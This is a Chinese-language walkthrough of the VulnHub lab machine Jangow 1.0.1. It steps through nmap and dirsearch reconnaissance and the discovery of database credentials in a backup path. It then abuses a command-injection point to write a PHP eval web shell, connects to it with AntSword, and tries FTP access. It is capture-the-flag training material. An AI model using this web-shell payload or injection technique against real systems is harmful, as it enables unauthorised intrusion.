靶机地址:https://vulnhub.com/entry/jangow-101,754/
一、信息收集
步骤一:导入并配置靶机为桥接模式而后开启...获取其MAC地址信息...如下
步骤二:主机发现
nmap 192.168.7.0/24
对应靶机的MAC地址得到IP地址为:192.168.193.143
步骤三:端口扫描
nmap -sV -p- 192.168.193.143
步骤四:访问IP地址,发现Index of /
页面并点击其中的site
目录
步骤五:在kali攻击机上使用dirsearch对http://192.168.193.143进行目录扫描
dirsearch -u http://192.168.193.143
拼接/.backup,发现了数据库的账号密码
步骤六:再对http://192.168.193.143/site/进行目录扫描,扫描的同时在原页面寻找特殊功能点;
dirsearch -u http://192.168.193.143/site/
拼接/site/assets/ ,无有用信息;
拼接/site/js/ ,也无有用信息;
那就只能测试前端功能,发现在点击Buscar时出现以下接口给上命令且执行成功
二、GetShell
步骤七:在此命令执行处拼接以下代码尝试直接GetShell
echo '<?php phpinfo();@eval($_POST[cmd]); ?>' > heihei.php
访问heihei.php文件
蚁剑连接
步骤八:根据上方扫描的端口21——ftp服务以及数据库的账号密码进行远程连接,但发现无有用信息